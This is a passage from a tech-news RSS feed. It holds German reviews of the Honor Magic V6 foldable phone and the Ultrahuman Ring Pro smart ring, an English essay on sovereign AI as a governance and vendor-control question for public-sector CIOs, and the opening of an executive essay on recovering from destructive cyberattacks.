<p class="wp-block-paragraph">Das Honor Magic V6 kann ab sofort in Deutschland und den meisten anderen Ländern der Welt bestellt werden, wobei die USA wie üblich ausgeschlossen sind. Hierzulande liegt der Preis bei stolzen <a href="https://www.pcwelt.de/article/3183215/honor-magic-v6-test-review.html#" target="_blank">2.299 Euro</a>, wobei es bis zum 31. Juli noch einen Rabatt von 600 Euro gibt (Endpreis: 1.699,90 Euro).</p>



<p class="wp-block-paragraph">Als besonderes Einführungsangebot legt Honor auch eine Reihe kostenloser Extras wie ein Tablet, einen Stift und ein Set Earbuds bei. Das macht eine Beurteilung des Preises ziemlich schwierig. Auf dem Papier ist das Magic V6 deutlich teurer als das V5, das im vergangenen Jahr für 1.999 Euro auf den Markt kam. Und das schmerzt, insbesondere wenn man bedenkt, dass es seinem Vorgänger so ähnlich ist. Mit dem Rabatt ist es jedoch günstiger.</p>



<p class="wp-block-paragraph">Preislich bewegt es sich trotzdem noch in einem ähnlichen Rahmen wie viele andere Falt-Smartphones, die wir getestet haben. Darunter das <a href="https://www.pcwelt.de/article/3168239/motorola-razr-fold-test.html" target="_blank">Motorola Razr Fold</a>, <a href="https://www.pcwelt.de/article/2843601/samsung-galaxy-z-fold-7-test.html" target="_blank">das Samsung Galaxy Z Fold 7</a> und <a href="https://www.pcwelt.de/article/2945312/google-pixel-10-pro-test-3.html" target="_blank">das Google Pixel 10 Pro Fold</a>.</p>



<h2 class="wp-block-heading">Sollten Sie das Honor Magic V6 kaufen?</h2>



<p class="wp-block-paragraph">Das Magic V6 ist zweifellos eines der attraktivsten faltbaren Smartphones, die derzeit auf dem Markt erhältlich sind. Die Hardware ist hervorragend, die Bildschirme sind beeindruckend, es ist leistungsstark und die Kameras sind erstklassig. Wenn Sie ein faltbares Smartphone mit großem Bildschirm suchen, aber bei den Kameras keine allzu großen Abstriche machen möchten, ist dies eine hervorragende Wahl.</p>



<p class="wp-block-paragraph">Allerdings könnten versierte Käufer sich für das <a href="https://www.pcwelt.de/article/2838914/honor-magic-v5-test.html" target="_blank">Vorjahresmodell</a> entscheiden und für deutlich weniger Geld ein sehr ähnliches Gesamterlebnis erhalten. Es ist nach wie vor extrem leistungsstark und verfügt über dieselben Kameras. Es wird jedoch nicht ewig vorrätig sein.</p>



<p class="wp-block-paragraph">Man sollte auch bedenken, dass das Galaxy Z Fold 8 und das Z Fold 8 Ultra voraussichtlich im Juli 2026 erscheinen werden, während Apples lang erwartetes faltbares iPhone wahrscheinlich im September vorgestellt wird. Ich persönlich würde mir daher erst einmal ansehen, was diese Modelle zu bieten haben, bevor ich den Sprung wage.</p>



<p class="wp-block-paragraph">Wenn Sie nicht warten können, ist das Honor Magic V6 eine hervorragende Wahl und wird dies wahrscheinlich auch bleiben. Ich kann mir nicht vorstellen, dass Samsung die Akkukapazität übertreffen wird, und ich bezweifle sehr, dass es in puncto Kameraleistung übertroffen wird. Abgesehen von ein paar kleinen Software-Mängeln ist es ein brillantes Smartphone.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li>MagicOS 10, basierend auf Android 16</li>



<li>Außen: 6,52 Zoll, 1.080 x 2.420, OLED, 120 Hz</li>



<li>Innen: 7,95 Zoll, 2172 × 2352, OLED, 120 Hz</li>



<li>Fingerabdrucksensor im Ein-/Aus-Schalter</li>



<li>Qualcomm Snapdragon 8 Elite Gen 5</li>



<li>16 GB RAM</li>



<li>512 GB Speicher</li>



<li>Kamera:</li>



<li>50 MP, f/1,6 Hauptkamera</li>



<li>64 MP, f/2,5, 3-fach-Teleobjektiv</li>



<li>50 MP, f/2,2 Ultraweitwinkel</li>



<li>Doppelte 20-MP-Selfie-Kamera mit f/2,2</li>



<li>Videoaufnahmen mit bis zu 4K bei 60 fps (Rückkamera)</li>



<li>Stereolautsprecher</li>



<li>Dual-SIM</li>



<li>WLAN 802.11 a/b/g/n/ac/6e/7</li>



<li>Bluetooth 6.0</li>



<li>6660-mAh-Akku</li>



<li>80-W-Laden über Kabel</li>



<li>66 W kabelloses Laden</li>



<li>156,7 × 74,5 × 8,8 mm (zusammengeklappt)</li>



<li>IP69-zertifiziert</li>



<li>219 g</li>



<li>Farben: Gold, Rot, Weiß, Schwarz</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3183215/honor-magic-v6-test-review.html" data-type="link" data-id="https://www.pcwelt.de/article/3183215/honor-magic-v6-test-review.html" target="_blank">PC-Welt</a>)</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ultrahuman Ring Pro im Test: Ohne Abonnement und langlebig]]></title>
<description><![CDATA[Mike Sawh



Auf einen Blick



Pro




Insgesamt solide Tracking-Leistung



Ansprechende Begleit-App mit einigen nützlichen Modi



Beeindruckende Akkulaufzeit



Ohne Abonnement




Kontra




Hoher Preis



Klobiges Design



Softwarefunktionen entsprechen weitgehend denen des Air




Fazit

...]]></description>
<link>https://tsecurity.de/de/3694425/it-security-nachrichten/ultrahuman-ring-pro-im-test-ohne-abonnement-und-langlebig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694425/it-security-nachrichten/ultrahuman-ring-pro-im-test-ohne-abonnement-und-langlebig/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.11.10.png?w=1024" alt="Ultrahuman Ring Pro" class="wp-image-4200751" width="1024" height="554" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<h3 class="wp-block-heading">Auf einen Blick</h3>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Insgesamt solide Tracking-Leistung</li>



<li>Ansprechende Begleit-App mit einigen nützlichen Modi</li>



<li>Beeindruckende Akkulaufzeit</li>



<li>Ohne Abonnement</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>Hoher Preis</li>



<li>Klobiges Design</li>



<li>Softwarefunktionen entsprechen weitgehend denen des Air</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p class="wp-block-paragraph">Der Ultrahuman Ring Pro bietet ein hervorragendes Hardware- und Software-Erlebnis und zählt damit zu den besten Smart-Ringen. Das Problem ist der hohe Anschaffungspreis, ganz zu schweigen davon, dass die Konkurrenz – sowohl bei Modellen mit als auch ohne Abonnement – für manche Nutzer attraktivere Eigenschaften bieten kann.</p>



<p class="wp-block-paragraph">Der Ultrahuman Ring Pro ist der neueste <a href="https://www.pcwelt.de/article/3063681/bester-smart-ring-test.html" target="_blank">Smart-Ring</a> eines Unternehmens, das sich seit Langem im Konflikt mit Oura befindet. Nachdem der Verkauf seines Vorgängermodells in den USA vorübergehend untersagt worden war, kehrt Ultrahuman nun mit einem neuen Ring zurück, der über neu gestaltete Sensoren, eine verbesserte Prozessorleistung und eine längere Akkulaufzeit verfügt.</p>



<p class="wp-block-paragraph">Der <a href="https://www.pcwelt.de/article/3063689/ultrahuman-ring-air-test-2.html" target="_blank">Ring Air</a> ist weiterhin als günstigere Alternative zum Pro erhältlich, doch wenn Sie das Beste wollen, was Ultrahuman zu bieten hat, ist dieser hier die richtige Wahl.</p>



<p class="wp-block-paragraph">Leider sind die Preise für die Ringe von Ultrahuman – ähnlich wie bei dem ebenfalls abonnementfreien Konkurrenten RingConn – leicht gestiegen, was bedeutet, dass sich der Pro wirklich hervorheben muss, um die höheren Kosten zu rechtfertigen und zu einer der ersten Wahl unter den Smart-Ringen zu werden.</p>



<h2 class="wp-block-heading">Design &amp; Verarbeitung</h2>



<ul class="wp-block-list">
<li>Erhältlich in vier Farbvarianten</li>



<li>Dickeres Design als der Ring Air</li>



<li>Ladeetui im Lieferumfang enthalten</li>
</ul>



<p class="wp-block-paragraph">Der Ring Pro ist ein Smart-Ring mit einem schlichten Design, der in vier verschiedenen Farben erhältlich ist: Bionic Gold, Space Silver, Aster Black und Raw Titanium. Der Kern des Rings besteht aus Titan mit einer PVD-Beschichtung, die ihn vor Kratzern schützt. Ich habe festgestellt, dass frühere Ultrahuman-Ringe zu den am leichtesten zu zerkratzenden gehörten. Daher freue ich mich, dass der Pro Kratzer besser abwehrt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.11.15.png?w=1024" alt="Ultrahuman Ring Pro" class="wp-image-4200752" width="1024" height="554" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Genau wie der Air ist auch der Pro in den Ringgrößen 5–14 erhältlich und bis zu einer Tiefe von 100 Metern wasserdicht. Ich habe mich für dieselbe Größe wie beim Air entschieden, und die Passform scheint ähnlich zu sein, wenn nicht sogar insgesamt etwas besser, da der Ring seltener an meinem Finger herumrutscht. Er ist sehr bequem und sitzt gut am Finger. Man spürt zwar die Sensoren, doch sie sind nicht so deutlich spürbar wie bei früheren Modellen.</p>



<p class="wp-block-paragraph">Im Vergleich zum Ring Air von Ultrahuman erhalten Sie einen schwereren und dickeren Ring. Da ich den <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html" target="_blank">Oura Ring 5</a> gleichzeitig getragen habe, wirkt der Pro deutlich größer als der neueste Ring von Oura.</p>



<p class="wp-block-paragraph">Der Pro wird mit einem Ladecase geliefert, und obwohl man es nicht mit dem neuen Case von Oura verwechseln würde, verfügt es über ein ähnlich robustes Metall-Design, das den Ring schützt, wenn er nicht am Finger getragen wird. Das Etui verfügt über zusätzliche intelligente Funktionen wie kabelloses Laden, einen „Find-my-Case“-Modus für den Fall, dass Sie es verlegen, ganz zu schweigen von der Möglichkeit, Ringdaten bis zu einem Jahr lang zu speichern.</p>



<p class="wp-block-paragraph">Ein interessanter Aspekt des Designs ist, dass Ultrahuman den Ring so konzipiert hat, dass er im Falle einer Schwellung leicht durchtrennt und entfernt werden kann. Auch wenn ich hoffe, dass niemand jemals in eine solche Situation gerät, ist es beruhigend zu wissen, dass sich der Ring in einem Notfall problemlos entfernen lässt.</p>



<h2 class="wp-block-heading">Fitness &amp; Tracking</h2>



<ul class="wp-block-list">
<li>Überarbeitete Temperatur- und Herzfrequenzsensoren</li>



<li>Neuer Dual-Core-Prozessor</li>



<li>Powerplugs bieten zusätzliche Funktionen gegen Aufpreis</li>
</ul>



<p class="wp-block-paragraph">Der Ring Pro kann so gut wie alles überwachen, was auch der Air kann. Dazu gehören Herzfrequenz, Schlaf, Stress, Temperatur und die tägliche Schrittzahl. Die größte Änderung besteht darin, dass die optischen Sensoren, die zur Erfassung dieser Messwerte verwendet werden, überarbeitet wurden und nun klarere Signale liefern, um Schlaf- und Erholungsdaten zu erfassen.</p>



<p class="wp-block-paragraph">Diese Neugestaltung scheint zudem mit den Patentstreitigkeiten mit Oura in Zusammenhang zu stehen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.11.19.png?w=1024" alt="Ultrahuman Ring Pro" class="wp-image-4200753" width="1024" height="554" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Die App, die diese Daten anzeigt, gehört zu den ausgereiftesten, die Sie bei einem Smart-Ring finden können. Sie steht der Oura-App in nichts nach, was die ansprechende Aufbereitung Ihrer Daten angeht, und regt Sie dazu an, sich tatsächlich damit auseinanderzusetzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.11.33.png?w=1024" alt="Ultrahuman Ring Pro" class="wp-image-4200754" width="1024" height="571" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Was die Erfassung der Kerndaten angeht, müssen Sie die zweiwöchige Kalibrierungsphase unbedingt durchlaufen, bis Sie zuverlässige Ergebnisse erhalten. Die Daten zu den durchschnittlichen Herzfrequenzwerten wiesen während dieses Zeitraums erhebliche Abweichungen auf, stabilisierten sich jedoch nach diesen zwei Wochen.</p>



<p class="wp-block-paragraph">Die Daten zur Ruheherzfrequenz und die Messungen der Herzfrequenzvariabilität stimmten besonders gut mit zwei anderen Trackern überein, die ich parallel zum Pro trug.</p>



<p class="wp-block-paragraph">Bei der Betrachtung der Schrittzahlen stellte ich fest, dass die gemeldeten Gesamtwerte deutlich niedriger waren als bei zwei anderen Trackern, mit denen ich den Pro verglichen habe.</p>



<p class="wp-block-paragraph">Die Leistung bei der Schlafaufzeichnung gehört zu den besten, die ich getestet habe, einschließlich Oura. Was die Schlafdauer, die Aufschlüsselung der Schlafphasen und den erfassten Zeitpunkt des Einschlafens betrifft, lieferte der Pro zuverlässige Werte.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.11.42.png?w=1024" alt="Ultrahuman Ring Pro" class="wp-image-4200755" width="1024" height="543" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Ultrahuman hebt sich von der Konkurrenz dadurch ab, dass es komplexe Daten in einem leicht verständlichen Format darstellt, beispielsweise bei der Bewertung des Gehirnalters oder der Erfassung des Schlafdefizits, das sich aus kumulierten schlechten Nächten ergibt. Es überwacht zudem, wie gut Ihr Gehirn während des Schlafs Abfallstoffe abbaut. Sie können auch die „PowerPlugs“ von Ultrahuman erkunden, bei denen es sich größtenteils um kostenlose Add-ons handelt, die eine individuellere Nachverfolgung ermöglichen.</p>



<p class="wp-block-paragraph">Ich nutze derzeit das neue Parent-Modul, das besonders auf die kumulative Erholung achtet, berücksichtigt, dass der Schlaf wahrscheinlich unruhiger ist, und Ihnen Tipps gibt, wie Sie wieder in die richtige Bahn kommen können.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.11.49.png?w=1024" alt="Ultrahuman Ring Pro" class="wp-image-4200756" width="1024" height="577" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Wie bereits erwähnt, sind die meisten dieser PowerPlugs kostenlos. Es gibt jedoch auch solche, die Einblicke in spezielle Krankheiten wie Migräne bieten oder Daten mit einem Tesla synchronisieren; hierfür ist ein monatliches Abonnement erforderlich. Dabei handelt es sich um kostenpflichtige Funktionen, auf die die meisten Nutzer gut verzichten können.</p>



<h2 class="wp-block-heading">Akkulaufzeit &amp; Aufladen</h2>



<ul class="wp-block-list">
<li>Bis zu 15 Tage Akkulaufzeit</li>



<li>Bietet drei Akkubetriebsmodi</li>



<li>Ladeetui sorgt für weitere 45 Tage</li>
</ul>



<p class="wp-block-paragraph">Die Akkulaufzeit ist ein wichtiges Thema beim Pro-Modell – und das nicht nur, weil er länger durchhält als der Air. Neben der Verlängerung der Akkulaufzeit von 4–6 Tagen auf 15 Tage stehen Ihnen drei Akkubetriebsmodi zur Verfügung, mit denen Sie das Beste aus jeder Ladung herausholen können.</p>



<p class="wp-block-paragraph">Wenn Sie den Turbo-Modus wählen, bei dem alle Sensoren aktiviert sind, können Sie mit einer Laufzeit von bis zu 12 Tagen rechnen. Diese verlängert sich auf über 15 Tage, wenn Sie sich für den Chill-Akkumodus entscheiden. Dabei liegt der Schwerpunkt auf der Schlafaufzeichnung, doch wichtige Momente Ihres Tages werden weiterhin erfasst, um sicherzustellen, dass die wesentlichen Erkenntnisse weiterhin von Nutzen sind.</p>



<p class="wp-block-paragraph">Ich habe mit dem Pro problemlos eine Akkulaufzeit von fast zwei Wochen erreicht, was eine beeindruckende Leistung ist. Das ist besser als beim Oura Ring 5 und liegt in Bezug auf die Akkuleistung auf Augenhöhe mit dem <a href="https://www.pcwelt.de/article/3063223/ringconn-gen-2-test.html" target="_blank">RingConn Gen 2</a>.</p>



<p class="wp-block-paragraph">Zudem verfügen Sie nun über das Ladecase, das Ihnen eine zusätzliche Akkulaufzeit von 45 Tagen bietet. Sie müssen den Ring jedoch präzise im Ladegerät platzieren; ein akustisches Signal aus dem integrierten Lautsprecher bestätigt, dass der Ring wieder aufgeladen wird. Als der Akku auf 0 Prozent sank, benötigte der Pro weniger als eine Stunde, um wieder auf 100 Prozent zu kommen.</p>



<h2 class="wp-block-heading">Preis &amp; Verfügbarkeit</h2>



<p class="wp-block-paragraph">Zum Zeitpunkt der Erstellung dieses Artikels kann der Ultrahuman Ring Pro für 499 Euro im <a href="https://www.pcwelt.de/article/3181848/ultrahuman-ring-pro-test-review.html#" target="_blank">Ultrahuman Store</a> vorbestellt werden. Damit gehört er zu den teuersten Smart-Ringen auf dem Markt.</p>



<p class="wp-block-paragraph">Er ist teurer als das günstigste verfügbare Modell des Oura Ring 5 und andere Smart-Ringe wie der <a href="https://whttps//www.pcwelt.de/article/3062918/samsung-galaxy-ring-test.html" target="_blank" rel="noreferrer noopener">Samsung Galaxy Ring</a>. Der in Kürze erscheinende RingConn Gen 3 wird in den USA teurer sein als der Ring Pro, sollte in anderen Regionen jedoch günstiger sein.</p>



<p class="wp-block-paragraph">Wie der Ring Air bleibt auch der Pro ein Smart-Ring ohne Abonnement. Einige der PowerPlug-Software-Erweiterungen sind jedoch mit zusätzlichen Kosten verbunden.</p>



<h2 class="wp-block-heading">Sollten Sie den Ultrahuman Ring Pro kaufen?</h2>



<p class="wp-block-paragraph">Die großen Verbesserungen des Ring Pro gegenüber dem Air liegen in dem größeren Akku und dem robusteren Design. Ich habe die Überwachungsleistung des Air nie als unzureichend empfunden, und wenn Sie noch ein Exemplar ergattern können und ein Fan des Software-Ansatzes von Ultrahuman sind, dann ist er nach wie vor eine kluge (und günstigere) Anschaffung.</p>



<p class="wp-block-paragraph">Vergleicht man den Ring Pro mit anderen Smart-Ringen, müssen wir über den Preis sprechen. Er ist teuer, und es gibt abonnementsfreie Alternativen zu einem günstigeren Preis. Ob diese Ihnen auf der Softwareseite das gleiche Maß an Sorgfalt und Aufmerksamkeit bieten, ist fraglich. Genau hier setzt sich der Ring Pro gegenüber einem Großteil der Konkurrenz durch.</p>



<p class="wp-block-paragraph">Er ist vielleicht nicht der kleinste oder dünnste Ring, aber was der Ring Pro zu bieten hat, ist eine Kombination aus Hardware und Software, die ein hervorragendes Gesamtpaket ergibt.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li>Bis zu 15 Tage Akkulaufzeit</li>



<li>Kompatibel mit Android und iOS</li>



<li>Wasserdicht bis zu 100 Metern</li>



<li>2,65 mm dick</li>



<li>Gewicht: 3,3–4,8 g</li>



<li>Erfasst den Blutsauerstoffgehalt, die Herzfrequenz und die Körpertemperatur</li>



<li>Erfasst den Schlaf und die tägliche Aktivität</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3181848/ultrahuman-ring-pro-test-review.html" data-type="link" data-id="https://www.pcwelt.de/article/3181848/ultrahuman-ring-pro-test-review.html" target="_blank">PC-Welt</a>)</p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



